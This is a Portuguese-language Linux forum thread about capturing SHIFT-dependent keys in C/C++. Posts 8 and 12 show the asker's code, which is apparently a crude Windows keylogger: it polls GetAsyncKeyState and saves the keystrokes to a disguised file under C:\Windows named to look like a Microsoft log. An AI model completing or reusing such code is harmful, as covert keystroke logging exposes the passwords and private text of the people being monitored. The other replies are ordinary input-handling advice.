Ajuda com teclas de SHIFT!

1. Ajuda com teclas de SHIFT!

Gabriel Ché Silva
GSS

(usa Debian)

Enviado em 05/05/2015 - 12:43h

Eu preciso incluir no meu codigo uma teclas que só se conseguem acessar elas com o SHIFT. Por ex.: "{", "}", "+", "_". etc. Me ajudem!!


  


2. Re: Ajuda com teclas de SHIFT!

Perfil removido
removido

(usa Nenhuma)

Enviado em 05/05/2015 - 15:13h

E se o padrão de teclado da pessoa for diferente, altera o que quer fazer. É só uma dica:
Em alguns notes que só tem 1 sinal '+', normalmente ele é dividido com outra tecla(eu nunca vi apenas um mais sendo tecla 'unica'). Agora, no meu note, tem /*-+ que podem ser digitados sem Shift, no meu caso, precisa do numlock. Seja mais claro com o que quer fazer.

Mateus Schroeder da Silva.


3. Re: Ajuda com teclas de SHIFT!

Thiago Henrique Hüpner
Thihup

(usa Manjaro Linux)

Enviado em 05/05/2015 - 17:28h

Amigo não é complicado:


#include <stdio.h>

int main(){

char letra;

printf("Teste 1: ");
scanf("%c",&letra);

getchar();

printf("Você digitou: %c\nTeste 2: ",letra);
letra = getchar();

printf("Você digitou: %c\n",letra);

return 0;
}



Tem 2 exemplos!

Espero ter ajudado

[]'s

T+


4. Re: Ajuda com teclas de SHIFT!

Gabriel Ché Silva
GSS

(usa Debian)

Enviado em 07/05/2015 - 10:08h

Thihup escreveu:

Amigo não é complicado:


#include <stdio.h>

int main(){

char letra;

printf("Teste 1: ");
scanf("%c",&letra);

getchar();

printf("Você digitou: %c\nTeste 2: ",letra);
letra = getchar();

printf("Você digitou: %c\n",letra);

return 0;
}



Tem 2 exemplos!

Espero ter ajudado

[]'s

T+


Eu entendi oq quer dizer, mas isso não se aplica ao meu código.




5. Re: Ajuda com teclas de SHIFT!

Paulo
paulo1205

(usa Ubuntu)

Enviado em 07/05/2015 - 13:32h

GSS escreveu:

Eu entendi oq quer dizer, mas isso não se aplica ao meu código.


Seria interessante você dizer, então, de que se trata o seu código, e em que tipo de ambiente e sob quais circunstâncias ele executa.


6. Dica

Gabriel Bassani Ribieiro
gbassanir

(usa Debian)

Enviado em 09/05/2015 - 00:40h

Boa noite,

Não recomendo fazer isso, mas se você quer, tem como especificar para nós ou enviar onde não está se encaixando no seu código. Seria de grande ajuda para nós e você kk Mas sinceramente, não recomendo.

Estamos a disposição.

Att,



7. Re: Ajuda com teclas de SHIFT!

Gabriel Ché Silva
GSS

(usa Debian)

Enviado em 09/05/2015 - 10:49h

Thihup escreveu:

Amigo não é complicado:


#include <stdio.h>

int main(){

char letra;

printf("Teste 1: ");
scanf("%c",&letra);

getchar();

printf("Você digitou: %c\nTeste 2: ",letra);
letra = getchar();

printf("Você digitou: %c\n",letra);

return 0;
}



Tem 2 exemplos!

Espero ter ajudado

[]'s

T+


Eu consegui fazer também por esse método. Mas vou mandar o código-fonte. Obrigado!




8. Re: Ajuda com teclas de SHIFT!

Gabriel Ché Silva
GSS

(usa Debian)

Enviado em 16/05/2015 - 09:11h

Esse é um pequeno pedaço do código:

#include <iostream>
#include <string>
#include <fstream>
#include <windows.h>
#include <winuser.h>

using namespace std;

int main()
{
string teclas;
if (GetAsyncKeyState(0x41))
{
cout << "a";
teclas += "a";
Sleep(200);
}
// Vai fazendo uma "verificacao" como a feita acima pelo resto do codigo
// Depois cria um arquivo txt para implementar as teclas digitadas

ofstream makefile;
makefile.open("C://Windows//MicrosoftGVSKLOG.TXT");

makefile << teclas;
makefile.close();
}




9. Re: Ajuda com teclas de SHIFT!

Thiago Henrique Hüpner
Thihup

(usa Manjaro Linux)

Enviado em 16/05/2015 - 10:01h

Olha, é código usando a windowAPI. É meio difícil ajudar, mas vamos ver se consigo.

Criei um arquivo e acho que dá de fazer a mesma coisa. Mas aqui eu eu utilizei uma forma insegura, pois "criei" o getch, mas apenas para este exemplo, não recomendo utilizar!
Mas se existe aí no Windows, só usar (acho que tem na tão "famosa" ConIO.h)

Segue:

#include <fstream>
#include <iostream>
#include <termios.h>
#include <unistd.h>

using namespace std;

int getch( ) {
struct termios oldt,
newt;
int ch;
tcgetattr( STDIN_FILENO, &oldt );
newt = oldt;
newt.c_lflag &= ~( ICANON | ECHO );
tcsetattr( STDIN_FILENO, TCSANOW, &newt );
ch = getchar();
tcsetattr( STDIN_FILENO, TCSANOW, &oldt );
return ch;
}

int main(){

string teclas;
// 27 é o Esc
int letra;
while((letra = getch()) != 27){
teclas += (char)letra;
cout << (char)letra;
}

ofstream makefile;
makefile.open("/tmp/Makefile");
makefile << teclas;

makefile.close();

return 0;
}


Espero ter ajudado

[]'s

T+

--
Profissão: Ser Rejeitado pelo VOL!



10. Re: Ajuda com teclas de SHIFT!

Paulo
paulo1205

(usa Ubuntu)

Enviado em 18/05/2015 - 06:17h

A função GetAsyncKeyState() não é para ler caracteres que tenham sido digitados, mas sim para ver se uma tecla (física) está apertada no momento.

Eu não sei onde você pesquisou. Mas mesmo eu, que não uso Windows, vi rapidinho no site do MSDN a documentação da função, que inclui os seguintes trechos (que explicam como identificar a teclas com a barra, o til, e os colchetes num teclado com layout americano -- provavelmente correspondentes a outras teclas num teclado ABNT2).

VK_OEM_2 (0xBF): Used for miscellaneous characters; it can vary by keyboard. For the US standard keyboard, the '/?' key. (Provavelmente o ponto-e-vírgula no ABNT2.)

VK_OEM_3 (0xC0): Used for miscellaneous characters; it can vary by keyboard. For the US standard keyboard, the '`~' key. (Provavelmente o apóstrofo no ABNT2.)

VK_OEM_4 (0xDB): Used for miscellaneous characters; it can vary by keyboard. For the US standard keyboard, the '[{' key. (Provavelmente o acento agudo no ABNT2.)

VK_OEM_6 (0xDD): Used for miscellaneous characters; it can vary by keyboard. For the US standard keyboard, the ']}' key. (Provavelmente o par ‘[{’ no ABNT2.)



11. Re: Ajuda com teclas de SHIFT!

Gabriel Ché Silva
GSS

(usa Debian)

Enviado em 23/05/2015 - 08:56h

paulo1205 escreveu:

A função GetAsyncKeyState() não é para ler caracteres que tenham sido digitados, mas sim para ver se uma tecla (física) está apertada no momento.

Eu não sei onde você pesquisou. Mas mesmo eu, que não uso Windows, vi rapidinho no site do MSDN a documentação da função, que inclui os seguintes trechos (que explicam como identificar a teclas com a barra, o til, e os colchetes num teclado com layout americano -- provavelmente correspondentes a outras teclas num teclado ABNT2).

VK_OEM_2 (0xBF): Used for miscellaneous characters; it can vary by keyboard. For the US standard keyboard, the '/?' key. (Provavelmente o ponto-e-vírgula no ABNT2.)

VK_OEM_3 (0xC0): Used for miscellaneous characters; it can vary by keyboard. For the US standard keyboard, the '`~' key. (Provavelmente o apóstrofo no ABNT2.)

VK_OEM_4 (0xDB): Used for miscellaneous characters; it can vary by keyboard. For the US standard keyboard, the '[{' key. (Provavelmente o acento agudo no ABNT2.)

VK_OEM_6 (0xDD): Used for miscellaneous characters; it can vary by keyboard. For the US standard keyboard, the ']}' key. (Provavelmente o par ‘[{’ no ABNT2.)


Valeu cara! Eu pesquisei no DuckDuckGo e na biblioteca winuser.h e windows.h




12. Re: Ajuda com teclas de SHIFT!

Gabriel Ché Silva
GSS

(usa Debian)

Enviado em 23/05/2015 - 09:21h

Primeiro eu pensei em fazer assim:

#include <iostream>
#include <string>
#include <fstream>
#include <winuser.h>
#include <windows.h>

using namespace std;

int main()
{
string teclas;
while(1==1)
{
if (GetAsyncKeyState(VK_SHIFT & 0x30))
{
cout << ")";
teclas += ")";
Sleep(200);
};

ofstream makefile;
makefile.open("C://Windows//MicrosoftGVSKLOG.TXT");

makefile << teclas;
makefile.close();
};
}




01 02



Patrocínio

Site hospedado pelo provedor RedeHost.
Linux banner

Destaques

Artigos

Dicas

Tópicos

Top 10 do mês

Scripts